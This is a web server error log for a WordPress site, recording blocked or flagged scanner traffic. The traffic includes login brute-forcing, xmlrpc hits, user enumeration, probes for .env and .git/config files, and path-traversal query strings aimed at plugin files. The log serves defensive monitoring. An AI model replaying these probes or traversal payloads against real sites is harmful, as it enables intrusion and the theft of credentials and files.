[Tue Mar 10 16:13:57.195982 2026] [:error] [pid 21318:tid 21384] [client 49.51.50.147:38538] [client 49.51.50.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa_SxRTTkPqKydpYiIJiPwAAAIo"]
[Tue Mar 10 17:56:11.277437 2026] [:error] [pid 51387:tid 51405] [client 103.91.245.241:41810] [client 103.91.245.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.91.245.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa_qu2iwPCd61yzVMnEltAAAANA"]
[Tue Mar 10 18:06:50.842433 2026] [autoindex:error] [pid 14627:tid 14661] [client 139.59.32.166:38008] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 10 18:11:34.974743 2026] [:error] [pid 14507:tid 14576] [client 188.138.75.83:42330] [client 188.138.75.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa_uVlJsAHIn9Awu5Qu2oQAAAFQ"]
[Tue Mar 10 18:11:37.380789 2026] [:error] [pid 14508:tid 14586] [client 188.138.75.83:42362] [client 188.138.75.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa_uWQnKcSOnGhLjpL4fOAAAAII"]
[Tue Mar 10 19:26:32.772112 2026] [:error] [pid 14506:tid 14524] [client 46.184.187.210:55742] [client 46.184.187.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa__6I2Aq9vu-sfjs-VdnQAAAAQ"]
[Tue Mar 10 19:41:11.661549 2026] [:error] [pid 14506:tid 14530] [client 46.184.187.210:39538] [client 46.184.187.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abADV42Aq9vu-sfjs-VlMgAAAAo"]
[Tue Mar 10 19:42:43.580631 2026] [:error] [pid 48041:tid 48066] [client 46.184.187.210:40694] [client 46.184.187.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abADs8lHlmjf-3oznxfGDAAAARU"]
[Tue Mar 10 19:44:11.680703 2026] [:error] [pid 48041:tid 48053] [client 46.184.187.210:42048] [client 46.184.187.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abAEC8lHlmjf-3oznxfGpAAAAQg"]
[Tue Mar 10 19:45:44.321010 2026] [:error] [pid 14627:tid 14651] [client 46.184.187.210:43344] [client 46.184.187.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abAEaINRj9158hP_6x8CrAAAAM4"]
[Tue Mar 10 19:47:21.801389 2026] [:error] [pid 14627:tid 14646] [client 46.184.187.210:44574] [client 46.184.187.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abAEyYNRj9158hP_6x8DBQAAAMk"]
[Tue Mar 10 20:12:48.476483 2026] [:error] [pid 14627:tid 14650] [client 161.8.143.233:38452] [client 161.8.143.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abAKwINRj9158hP_6x8I0gAAAM0"]
[Tue Mar 10 22:43:31.171497 2026] [:error] [pid 3872:tid 3896] [client 170.64.217.35:57632] [client 170.64.217.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "abAuE9seKmNoS38Y-zvcrQAAABQ"]
2026/03/10 22:43:31 [error] 3843#3843: *208161 access forbidden by rule, client: 170.64.217.35, server: gigfragments.org, request: "GET /.git/config HTTP/1.1", host: "gigfragments.org"
2026/03/10 22:43:37 [error] 3820#3820: *208165 upstream prematurely closed connection while reading response header from upstream, client: 170.64.217.35, server: gigfragments.org, request: "GET /wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=../../../../../ HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=../../../../../", host: "gigfragments.org"
[Tue Mar 10 22:43:37.937151 2026] [:error] [pid 3965:tid 3970] [client 170.64.217.35:57758] [client 170.64.217.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php"] [unique_id "abAuGZN2nrVwtq9b0rbbawAAAMM"]
2026/03/10 22:43:37 [error] 3820#3820: *208165 upstream prematurely closed connection while reading response header from upstream, client: 170.64.217.35, server: gigfragments.org, request: "GET /wp-content/plugins/canto/includes/lib/sizes.php?abspath=../../../../../ HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-content/plugins/canto/includes/lib/sizes.php?abspath=../../../../../", host: "gigfragments.org"
[Tue Mar 10 22:43:37.957177 2026] [:error] [pid 3965:tid 3968] [client 170.64.217.35:57760] [client 170.64.217.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/canto/includes/lib/sizes.php"] [unique_id "abAuGZN2nrVwtq9b0rbbbAAAAME"]
2026/03/10 22:43:37 [error] 3835#3835: *208167 upstream prematurely closed connection while reading response header from upstream, client: 170.64.217.35, server: gigfragments.org, request: "GET /wp-content/plugins/lws-affiliation/view/admin/preview_widget.php?path=../../../../../ HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-content/plugins/lws-affiliation/view/admin/preview_widget.php?path=../../../../../", host: "gigfragments.org"
[Tue Mar 10 22:43:37.968865 2026] [:error] [pid 3874:tid 3957] [client 170.64.217.35:57762] [client 170.64.217.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/lws-affiliation/view/admin/preview_widget.php"] [unique_id "abAuGeK9H96QUJV_mxZJTgAAAJI"]
2026/03/10 22:43:37 [error] 3820#3820: *208165 upstream prematurely closed connection while reading response header from upstream, client: 170.64.217.35, server: gigfragments.org, request: "GET /?umbrella-restore=1&filename=wp-includes/css/editor.css HTTP/1.1", upstream: "http://103.4.122.14:8181/?umbrella-restore=1&filename=wp-includes/css/editor.css", host: "gigfragments.org"
[Tue Mar 10 22:43:37.975407 2026] [:error] [pid 3874:tid 3941] [client 170.64.217.35:57764] [client 170.64.217.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abAuGeK9H96QUJV_mxZJTwAAAII"]
[Tue Mar 10 22:43:37.984016 2026] [:error] [pid 3965:tid 3982] [client 170.64.217.35:57766] [client 170.64.217.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/where-i-was-where-i-will-be/wiwwiwb.php"] [unique_id "abAuGZN2nrVwtq9b0rbbbQAAAM8"]
2026/03/10 22:43:37 [error] 3835#3835: *208167 upstream prematurely closed connection while reading response header from upstream, client: 170.64.217.35, server: gigfragments.org, request: "GET /wp-content/plugins/where-i-was-where-i-will-be/wiwwiwb.php HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-content/plugins/where-i-was-where-i-will-be/wiwwiwb.php", host: "gigfragments.org"
[Tue Mar 10 23:17:25.565664 2026] [:error] [pid 3874:tid 3945] [client 45.233.148.131:58468] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abA2BeK9H96QUJV_mxZV6AAAAIY"]
[Tue Mar 10 23:17:29.326680 2026] [:error] [pid 3965:tid 3983] [client 45.233.148.131:58568] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abA2CZN2nrVwtq9b0rbv9gAAANA"]
[Wed Mar 11 02:26:49.835038 2026] [:error] [pid 7307:tid 7317] [client 69.49.112.63:46254] [client 69.49.112.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abBiaetE6Vj1tEJkynH0aAAAAMg"]
[Wed Mar 11 02:26:55.159928 2026] [:error] [pid 6894:tid 7187] [client 69.49.112.63:46384] [client 69.49.112.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abBib54b1T0HQdoE97L76wAAAIU"], referer: https://gigfragments.org/wp-login.php
2026/03/11 03:10:07 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20slot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vip.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:07.080832 2026] [:error] [pid 7307:tid 7331] [client 54.37.252.59:52524] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abBsj-tE6Vj1tEJkynENhAAAANY"]
2026/03/11 03:10:08 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:08.686339 2026] [:error] [pid 6894:tid 7206] [client 54.37.252.59:52538] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abBskJ4b1T0HQdoE97ILhAAAAJY"]
2026/03/11 03:10:10 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:10.419269 2026] [:error] [pid 7307:tid 7328] [client 54.37.252.59:52572] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abBskutE6Vj1tEJkynENjwAAANM"]
2026/03/11 03:10:12 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20slot168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot168.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:12.207375 2026] [:error] [pid 6894:tid 7187] [client 54.37.252.59:52594] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abBslJ4b1T0HQdoE97ILiAAAAIU"]
2026/03/11 03:10:13 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20slot99.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot99.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:13.799364 2026] [:error] [pid 7307:tid 7316] [client 54.37.252.59:52618] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abBsletE6Vj1tEJkynENmAAAAMc"]
2026/03/11 03:10:15 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20soft.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:15.397357 2026] [:error] [pid 7307:tid 7319] [client 54.37.252.59:52660] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abBsl-tE6Vj1tEJkynENogAAAMo"]
2026/03/11 03:10:16 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20th.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:16.997441 2026] [:error] [pid 6894:tid 7184] [client 54.37.252.59:52698] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abBsmJ4b1T0HQdoE97ILlgAAAII"]
2026/03/11 03:10:18 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20thailand.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:18.740410 2026] [:error] [pid 6893:tid 7149] [client 54.37.252.59:52720] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "abBsmjQs7J0yTt-T28kntgAAAEE"]
2026/03/11 03:10:20 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:20.526517 2026] [:error] [pid 6894:tid 7207] [client 54.37.252.59:52736] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "abBsnJ4b1T0HQdoE97ILnQAAAJc"]
[Wed Mar 11 03:10:22.299107 2026] [:error] [pid 6892:tid 7098] [client 54.37.252.59:52752] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abBsnhRWb70O8HM28tG4wgAAABE"]
2026/03/11 03:10:22 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pg%20world.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20world.aspx", host: "gigfragments.org"
2026/03/11 03:10:23 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pgslot%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgslot%20login.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:23.879651 2026] [:error] [pid 7307:tid 7331] [client 54.37.252.59:52766] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abBsn-tE6Vj1tEJkynENrQAAANY"]
2026/03/11 03:10:25 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pgzeed%20gold.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgzeed%20gold.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:25.621453 2026] [:error] [pid 6894:tid 7199] [client 54.37.252.59:52792] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "abBsoZ4b1T0HQdoE97ILpQAAAJA"]
2026/03/11 03:10:27 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /pp%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pp%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:27.219343 2026] [:error] [pid 6894:tid 7195] [client 54.37.252.59:52810] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "abBso54b1T0HQdoE97ILqQAAAIw"]
2026/03/11 03:10:28 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /riches666%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches666%20pg.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:28.981991 2026] [:error] [pid 6893:tid 7148] [client 54.37.252.59:52832] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "abBspDQs7J0yTt-T28knwAAAAEA"]
[Wed Mar 11 03:10:30.756252 2026] [:error] [pid 7307:tid 7330] [client 54.37.252.59:52852] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "abBsputE6Vj1tEJkynENugAAANU"]
2026/03/11 03:10:30 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /riches777%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches777%20pg.aspx", host: "gigfragments.org"
2026/03/11 03:10:32 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /riches888%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches888%20pg.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:32.533970 2026] [:error] [pid 7307:tid 7324] [client 54.37.252.59:52866] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "abBsqOtE6Vj1tEJkynENvwAAAM8"]
[Wed Mar 11 03:10:34.265998 2026] [:error] [pid 6893:tid 7158] [client 54.37.252.59:52884] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "abBsqjQs7J0yTt-T28knyQAAAEk"]
2026/03/11 03:10:34 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /royal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/royal%20slot.aspx", host: "gigfragments.org"
2026/03/11 03:10:35 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /sa%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sa%20casino.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:35.878395 2026] [:error] [pid 6892:tid 7089] [client 54.37.252.59:52900] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "abBsqxRWb70O8HM28tG4ywAAAAk"]
[Wed Mar 11 03:10:37.597218 2026] [:error] [pid 6894:tid 7199] [client 54.37.252.59:52920] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abBsrZ4b1T0HQdoE97ILtQAAAJA"]
2026/03/11 03:10:37 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /sbobet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20auto.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:39.317895 2026] [:error] [pid 6893:tid 7150] [client 54.37.252.59:52950] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abBsrzQs7J0yTt-T28knzgAAAEI"]
